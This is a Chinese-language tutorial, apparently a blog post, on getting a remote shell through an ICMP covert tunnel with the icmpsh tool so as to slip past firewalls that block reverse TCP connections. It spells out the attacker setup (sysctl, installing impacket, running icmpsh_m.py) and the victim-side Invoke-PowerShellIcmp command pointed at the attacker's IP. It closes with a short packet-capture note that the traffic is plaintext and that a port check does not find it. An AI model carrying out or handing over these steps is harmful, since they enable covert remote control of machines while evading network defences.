内部网络中的大多数系统位于防火墙和公司代理之后,以控制入站和出站流量。防火墙可以阻止反向连接并绑定TCP连接。但是大多数情况下允许ICMP通信。因此,可以将此协议用作隐蔽隧道,以便获得shell并在目标主机上远程执行命令。
icmpsh工具可以用于执行此攻击。
运行此工具时需要运行以下命令,禁用所有ICMP回显答复
sysctl -w net.ipv4.icmp_echo_ignore_all=1
该工具使用python2执行,需要下载impacket包
(使用pip2传输速度太慢了,所以就直接使用wget了)
wget https://files.pythonhosted.org/packages/16/75/b240a9a9cc435c7d5d5cc465a3038b0daad744d0355a5102ca84682640e5/impacket-0.9.19.tar.gz
之后解压缩此文件,并cd进去
接着运行此命令:
python2 setup.py install
下载时会有一些问题,比如说有时会卡在这里不动
这样的话就直接pip2这个flask包 ,看准需要下载什么版本,直接install就行了
之后要将其传输至受害机上,并做以下操作:
之后运行脚本
Invoke-PowerShellIcmp 192.168.42.130
^ 这个ip地址是攻击者的IP地址
还需要在攻击者主机上运行脚本
python2 icmpsh_m.py 192.168.42.130 192.168.42.1
第一个ip地址是自己的ip,第二个ip地址是目标主机
ok了,我们来抓一下包 0.0
可以看出,明文传输,我们执行的命令被抓到了
但是我们查端口的话是什么也查不到的,只能通过抓icmp包去发现数据传输